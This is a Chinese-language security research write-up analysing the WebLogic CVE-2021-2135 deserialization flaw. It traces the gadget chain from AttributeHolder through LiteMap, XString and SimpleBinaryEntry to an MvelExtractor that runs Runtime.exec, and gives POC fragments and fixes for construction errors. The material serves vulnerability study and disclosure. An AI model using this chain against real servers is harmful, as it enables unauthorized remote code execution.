WebLogic CVE-2021-2135分析及POC构造遇到的问题

文章首发于安全客:https://www.anquanke.com/post/id/248770。

一、前言

早在今年4月 Weblogic发布了安全公告,里面有一个编号是CVE-2021-2135的反序列化漏洞,因为工作原因需要构造该漏洞POC,当时拿到了安全补丁,但是奈何太菜并没有解出来。后来360CERT发布了分析文章,花了一周多的时间终于把POC构造出来了。现在把分析学习及POC构造中遇到的问题记录下来。

4月与1月补丁WebLogicFilterConfig.classdiff后如下,将com.tangosol.internal.util.SimpleBinaryEntry加入了黑名单。

1
2
3
private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{"oracle.jdbc.pool.OraclePooledConnection"};

private static final String[] DEFAULT_WLS_ONLY_BLACKLIST_CLASSES = new String[]{"com.tangosol.internal.util.SimpleBinaryEntry"};

根据补丁反向推漏洞的话主要两部分命令执行载体和反序列化载体,命令执行载体达到我们执行命令的目的,反序列化载体从反序列化从入口到命令执行载体入口的动态执行,我们先分别来分析下。

二、命令执行载体分析:

既然我们已经知道com.tangosol.internal.util.SimpleBinaryEntry在黑名单里,那么我们来分析下com.tangosol.internal.util.SimpleBinaryEntry的特性

1、SimpleBinaryEntry的特性

SimpleBinaryEntry实现了SerializerAwareExternalizableLitePortableObjectExternalizableLite用来处理序列化相关数据。

1
2
public class SimpleBinaryEntry<K, V> 
implements Entry<K, V>, SerializerAware, ExternalizableLite, PortableObject

SimpleBinaryEntry有2个可序列化属性和3个不可序列化属性,其中m_binKeym_binValue是二进制类型。

1
2
3
4
5
6
7
@JsonbProperty("binKey")
protected Binary m_binKey; //二进制key,JsonbProperty作用是把该属性的名称序列化为另外一个名称,如把m_binKey属性序列化为binKey
@JsonbProperty("binValue")
protected Binary m_binValue; //二进制value
protected transient Serializer m_serializer;
protected transient K m_key;
protected transient V m_value;

SimpleBinaryEntry有参构造方法通过传参BinaryEntry或者key和value给属性m_binKeym_binValue赋值:

1
2
3
4
public SimpleBinaryEntry(Binary binKey, Binary binValue) {
this.m_binKey = binKey;
this.m_binValue = binValue;
}

SimpleBinaryEntry借助m_serializer通过getKeygetValue方法处理另外两个属性m_keym_value。当其没有被赋值,会调用ExternalizableHelper.fromBinary来处理并返回结果,这时候的m_keym_value处理后可以是指定类型的实例,而这也是漏洞的关键之处,我们可以通过构造将m_keym_value转为我们想要的对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public K getKey() {
K key = this.m_key;
if (key == null) {
// 返回的是ExternalizableHelper.fromBinary(this.m_binKey,this.m_serializer)的结果
key = this.m_key = ExternalizableHelper.fromBinary(this.m_binKey, this.getContextSerializer());
}

return key;
}

public V getValue() {
V value = this.m_value;
if (value == null) {
// 返回的是ExternalizableHelper.fromBinary的结果
value = this.m_value = ExternalizableHelper.fromBinary(this.m_binValue, this.getContextSerializer());
}

return value;
}

SimpleBinaryEntry重写了toString方法,我们可以通过该方法调用getKey。

1
2
3
public String toString() {
return "SimpleBinaryEntry(key=\"" + this.getKey() + "\", value=\"" + this.getValue() + "\")";
}

我们来看下ExternalizableHelper.fromBinary

2、ExternalizableHelper.fromBinary

ExternalizableHelper.fromBinary最终会调用ExternalizableHelper.deserializeInternal处理,deserializeInternal方法如下,当nType!=21时调用ExternalizableHelper.readObjectInternal读取对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// serializer可以是SimpleBinaryEntry.this.m_serializer,buf可以是SimpleBinaryEntry.m_binKey或m_binValue
private static <T> T deserializeInternal(Serializer serializer, ReadBuffer buf, Function<BufferInput, BufferInput> supplierBufferIn, Class<T> clazz) throws IOException {
BufferInput in = buf.getBufferInput();
int nType = in.readUnsignedByte();
switch(nType) {
...
...
if (supplierBufferIn != null) {
in = (BufferInput)supplierBufferIn.apply(in);
}
// nType!=21,调用ExternalizableHelper.readObjectInternal
Object o = nType == 21 ? serializer.deserialize(in, clazz) : readObjectInternal(in, nType, ((ClassLoaderAware)serializer).getContextClassLoader());
return realize(o, serializer);
}

ExternalizableHelper.readObjectInternal会按照nType的值进行处理,根据ExternalizableHelper.writeObjectnType,在序列化时通过getStreamFormat进行赋值。

1
2
3
4
// getStreamFormat:o instanceof ExternalizableLite ? 10,当对象是ExternalizableLite实例,nType=10
public static int getStreamFormat(Object o) {
return o == null ? 0 : (o instanceof String ? 6 : (o instanceof Number ? (o instanceof Integer ? 1 : (o instanceof Long ? 2 : (o instanceof Double ? 3 : (o instanceof BigInteger ? 4 : (o instanceof BigDecimal ? 5 : (o instanceof Float ? 14 : (o instanceof Short ? 15 : (o instanceof Byte ? 16 : 11)))))))) : (o instanceof byte[] ? 8 : (o instanceof ReadBuffer ? 7 : (o instanceof XmlBean ? 12 : (o instanceof ExternalizableHelper.IntDecoratedObject ? 13 : (o instanceof ExternalizableLite ? 10 : (o instanceof Boolean ? 17 : (o instanceof Serializable ? 11 : (o instanceof Optional ? 22 : (o instanceof OptionalInt ? 23 : (o instanceof OptionalLong ? 24 : (o instanceof OptionalDouble ? 25 : (o instanceof XmlSerializable ? 9 : 255))))))))))))));
}

ExternalizableHelper.readObjectInternal代码如下,根据序列化数据的类型nType进行反序列化读取对象,当nType=10,调用readExternalizableLite。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
private static Object readObjectInternal(DataInput in, int nType, ClassLoader loader) throws IOException {
switch(nType) {
case 0:
return null;
case 1:
return readInt(in);
case 2:
return readLong(in);
......
case 7:
Binary bin = new Binary(); //调用Binary.readExternal反序列化读取
bin.readExternal(in);
return bin;
......
case 10:
return readExternalizableLite(in, loader); // 当nType=10,调用readExternalizableLite
case 11:
return readSerializable(in, loader);
......
case 255:
return readSerializable(in, loader);
default:
throw new StreamCorruptedException("invalid type: " + nType);
}
}

ExternalizableHelper.readExternalizableLite中,会实例化类为value,并且会调用value所属类的readExternal方法来读取最终的对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public static ExternalizableLite readExternalizableLite(DataInput in, ClassLoader loader) throws IOException {
ExternalizableLite value;
if (in instanceof PofInputStream) {
value = (ExternalizableLite)((PofInputStream)in).readObject();
} else {
String sClass = readUTF((DataInput)in); // 获取类名
WrapperDataInputStream inWrapper = in instanceof WrapperDataInputStream ? (WrapperDataInputStream)in : null;

try {
// 加载并实例化序列化时写入的类名
value = (ExternalizableLite)loadClass(sClass, loader, inWrapper == null ? null : inWrapper.getClassLoader()).newInstance();
......
// 调用value的readExternal方法读取对象
value.readExternal((DataInput)in);
// !!注意这里 当value是SerializerAware的实例,会设置它的Serializer
if (value instanceof SerializerAware) {
((SerializerAware)value).setContextSerializer(ensureSerializer(loader));
}
}

return value;
}

看到这里我们已经明白了SimpleBinaryEntry本质是Entry,有键值对,它的key即m_key属性、value即m_value属性,可以通过getKeygetValue设置,而getKey通过ExternalizableHelper.fromBinary来处理,ExternalizableHelper.fromBinary会根据m_binKey的数据类型的不同调用不同的反序列化方法进行读取,那么我们可以构造m_binKey达到我们命令执行的目的。

那么到这里我们怎么执行命令?参考之前的漏洞CVE-2020-14756,可以考虑通过com.tangosol.coherence.rest.util.extractor.MvelExtractor#extrace执行命令。

1
2
3
4
5
6
ExternalizableHelper.readExternalizableLite()
TopNAggregator.PartialResult.readExternal()
TopNAggregator.PartialResult.add()
(AbstractExtractor)MvelExtractor.compare()
MvelExtractor.extract()
MVEL.executeExpression()

3、TopNAggregator.PartialResult.readExternal()到命令执行

TopNAggregator$PartialResult实现了ExternalizableLite,其重写了readExternal(),我们可以通过ExternalizableHelper.readExternalizableLite()调用TopNAggregator$PartialResult.readExternal

TopNAggregator$PartialResult.readExternal主要读取和恢复m_comparatorm_cMaxSizem_map属性的数据,其中调用了Comparator.readObject给属性m_comparator赋值,comparator 可控为 MvelExtractorm_map是用m_comparator构造的TreeMap实例,并且通过TopNAggregator$PartialResult.add添加map的键值对。TopNAggregator$PartialResult.add会调用父类的add方法,最终通过map.put添加数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public void readExternal(DataInput in) throws IOException {
// 这里会调用Comparator.readObject给this.m_comparator赋值
this.m_comparator = (Comparator)ExternalizableHelper.readObject(in);
this.m_cMaxSize = ExternalizableHelper.readInt(in);
//调用SortedBag.instantiateInternalMap
this.m_map = this.instantiateInternalMap(this.m_comparator);
int cElems = in.readInt();

for(int i = 0; i < cElems; ++i) {
// 调用add
this.add(ExternalizableHelper.readObject(in));
}

this.m_comparator_copy = this.m_comparator;
}

public boolean add(E o) {
NavigableMap map = this.getInternalMap();

while(!Base.equals(o, this.unwrap(map.ceilingKey(o)))) {
if (map.put(o, NO_VALUE) == null) {
return true;
}
}
// 调用map.put
map.put(this.wrap(o), NO_VALUE);
return true;
}

TreeMap.put()调用TreeMap.compare,最终会调用comparator.compare((K)k1, (K)k2)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public V put(K key, V value) {
Entry<K,V> t = root;
if (t == null) {
// 调用TreeMap.compare
compare(key, key); // type (and possibly null) check
......
return null;
}
int cmp;
Entry<K,V> parent;
......
return null;
}

final int compare(Object k1, Object k2) {
return comparator==null ? ((Comparable<? super K>)k1).compareTo((K)k2) : comparator.compare((K)k1, (K)k2);
}

如果这里comparator是我们构造的MvelExtractor实例,MvelExtractor继承了AbstractExtractor,便可以调用AbstractExtractor.compare,从而调用MvelExtractor.extract达到命令执行的目的。

1
2
3
4
5
6
7
8
9
# AbstractExtractor.compare
public int compare(Object o1, Object o2) {
return SafeComparator.compareSafe((Comparator)null, this.extract(o1), this.extract(o2));
}
# MvelExtractor.extract
public Object extract(Object oTarget) {
// 调用MVEL.executeExpression执行命令
return oTarget == null ? null : MVEL.executeExpression(this.getCompiledExpression(), oTarget);
}

三、反序列化载体分析:

1、SimpleBinaryEntry.toString()的触发

反序列化到SimpleBinaryEntry.toString()的触发,在360CERT中提到用com.sun.org.apache.xpath.internal.objects.XString.equals()。当XString.equals()的参数是SimpleBinaryEntry实例时,可以调用SimpleBinaryEntry.toString

1
2
3
4
5
6
7
8
9
10
11
public boolean equals(Object obj2)
{
if (null == obj2)
return false;
else if (obj2 instanceof XNodeSet)
return obj2.equals(this);
else if(obj2 instanceof XNumber)
return obj2.equals(this);
else
return str().equals(obj2.toString());//,当传入的是simpleBinaryEntry,调用SimpleBinaryEntry.toString
}

这时候需要触发XString.equals(simpleBinaryEntry),我们可以考虑Map的put方法,因为Map一般在插入元素时做比较会调用equal,并且Map有个特别之处就是它一般不限制对象的类型,我们可以构造Map的Key或者Value为不同的对象如XString实例或者simpleBinaryEntry实例。

com.tangosol.util.LiteMap继承了com.tangosol.util.InflatableMapInflatableMap.put中当InflatableMap.m_nImpl==1,通过调用Objects.equals(xString, simpleBinaryEntry)可以调用xString.equals(simpleBinaryEntry)。所以LiteMap构造时传入的Map是map<simpleBinaryEntry, anyValue>map<xString, anyValue>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public V put(K key, V value) {
switch(this.m_nImpl) {
case 0:
this.m_nImpl = 1;
this.m_oContents = this.instantiateEntry(key, value);
return null;
case 1:
Entry<K, V> entry = (Entry)this.m_oContents;
K entryKey = entry.getKey();
V prevValue = null;
// this.m_nImpl==1,调用Objects.equals(key, entryKey),Objects.equals(xString, simpleBinaryEntry)
if (Objects.equals(key, entryKey)) {
prevValue = entry.getValue();
entry.setValue(value);
} else {
Entry<K, V>[] aEntry = new Entry[8];
aEntry[0] = entry;
aEntry[1] = this.instantiateEntry(key, value);
this.m_nImpl = 3;
this.m_oContents = aEntry;
}

return prevValue;
...
...
}
}

public static boolean equals(Object a, Object b) {
// 当a!=b,返回a.equals(b),当a是xString,b是simpleBinaryEntry,a肯定不等于b,调用xString.equals(simpleBinaryEntry)
return (a == b) || (a != null && a.equals(b));
}

2、反序列化入口

那么接下来是找到反序列化入口,必然涉及到readObject或readExternal等类似读取的方法,如何在这些方法中调用LiteMap.putcom.tangosol.util.processor.ConditionalPutAll实现了com.tangosol.io.ExternalizableLite并重写了readExternal,在readExternal中构造了LiteMap实例,并且调用了com.tangosol.util.ExternalizableHelper.readMap将map的属性读取赋值给LiteMap实例。

1
2
3
4
5
6
7
public void readExternal(DataInput in) throws IOException {
this.m_filter = (Filter)ExternalizableHelper.readObject(in);
// 创建LiteMap对象
Map map = this.m_map = new LiteMap();
// 调用ExternalizableHelper.readMap处理map的反序列化
ExternalizableHelper.readMap(in, map, (ClassLoader)null);
}

com.tangosol.util.ExternalizableHelper.readMap中调用了map.put,假如oKey=xString、oVal=simpleBinaryEntry,刚好就能调用这里的map是LiteMap的实例,所以会调用com.tangosol.util.InflatableMap.put(xString,simpleBinaryEntry),跟前面的链就连上了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public static int readMap(DataInput in, Map map, ClassLoader loader) throws IOException {
int cEntries;
if (in instanceof PofInputStream) {
PofInputStream inPof = (PofInputStream)in;
inPof.getPofReader().readMap(inPof.nextIndex(), map);
cEntries = map.size();
} else {
cEntries = in.readInt();

for(int i = 0; i < cEntries; ++i) {
// 读取map.key
Object oKey = readObject(in, loader);
// 读取map.value
Object oVal = readObject(in, loader);
// 调用map.put将key和value添加到map
map.put(oKey, oVal);
}
}

return cEntries;
}

刚开始的时候分析到这里我以为就完成了整个链,没想到忽略了一点-ConditionalPutAll只有readExternal(DataInput in)方法,没有实现Externalizable,不能传入ObjectInput,所以不但能作为入口。我们可以用CVE-2020-14756的com.tangosol.coherence.servlet.AttributeHolder作为入口,AttributeHolder实现了Externalizable,并且可以通过调用readExternal(ObjectInput in)调用ExternalizableHelper.readObject(in)

1
2
3
4
5
6
7
8
9
10
11
12
public void readExternal(ObjectInput in) throws IOException {
this.readExternal((DataInput)in);
}

public void readExternal(DataInput in) throws IOException {
this.m_sName = ExternalizableHelper.readUTF(in);
//通过ExternalizableHelper.readObject可以进一步调用ExternalizableHelper.readObjectInternal
this.m_oValue = ExternalizableHelper.readObject(in);
this.m_fActivationListener = in.readBoolean();
this.m_fBindingListener = in.readBoolean();
this.m_fLocal = in.readBoolean();
}

四、POC构造遇到的三个问题

在构造POC时,遇到了三个分析了很久才解决的问题:

  • SimpleBinaryEntry.m_binKey的构造问题

  • 不设置SimpleBinaryEntry.m_serializer导致序列化失败

  • ClassCastException报错问题导致序列化失败

1、SimpleBinaryEntry.m_binKey的构造问题

最初构造m_binKey时,我用的是TopNAggregator$PartialResult.writeExternal()来写二进制数据,我忘了很重要的一点,writeExternal()一般序列化只会写一些属性,不涉及TopNAggregator$PartialResult自身的序列化,所以我调试到这里始终进不去TopNAggregator$PartialResult.writeExternal(),后来通过ExternalizableHelper解决了。

1
ExternalizableHelper.writeObject(dataOutputStream1, partialResult);

2、不设置SimpleBinaryEntry.m_serializer导致序列化失败

SimpleBinaryEntry在反序列化时会通过if (value instanceof SerializerAware) {((SerializerAware)value).setContextSerializer(ensureSerializer(loader));}给m_serializer赋值,所以虽然m_serializer时transient类型但是也被赋值了。但是在序列化时,我们需要用setContextSerializer给m_serializer赋值,如果没有设置m_serializer,会报错NullPointerException,因为SimpleBinaryEntry的key和value需要利用m_serializer来获取。调试的时候发现默认使用的是com.tangosol.io.DefaultSerializer,所以我在设置时也用了它。

1
2
Serializer m_serializer= new DefaultSerializer(SimpleBinaryEntry.class.getClassLoader());
simpleBinaryEntry.setContextSerializer(m_serializer);

3、ClassCastException报错问题

在用y4er CVE-2020-14756的POC时也报了错:ClassCastException,但不影响执行命令,但是我的POC在序列化也执行了命令,所以才会报这个错并且导致程序执行不下去。image-20210729204719132

执行了SafeComparator.compareSafe((Comparator)null, this.extract(o1), this.extract(o2)),真正报错的地方在该方法的((Comparable)o1).compareTo(o2)。因为在传入参数时调用MvelExtractor.extract(o1)传值,extract通过MVEL.executeExpression返回结果,extract会把MVEL.executeExpression的结果返回作为o1,MVEL.executeExpression执行结果是空默认会返回一个java.lang.ProcessImpl对象ProcessImpl并不是Comparable的子类,所以将ProcessImpl转为Comparable会报一个转换错误。如何解决呢?既然执行的结果是空才会返回ProcessImpl对象,我只要返回一个实现了Comparable的类的实例就可以解决这个问题,这里我用了Integer。

1
MvelExtractor extractor1 = new MvelExtractor("java.lang.Runtime.getRuntime().exec(\"calc\");return new Integer(1);");

参考链接:

https://xz.aliyun.com/t/9550
https://y4er.com/post/weblogic-cve-2020-14756/
https://mp.weixin.qq.com/s/eyZfAPivCkMbNCfukngpzg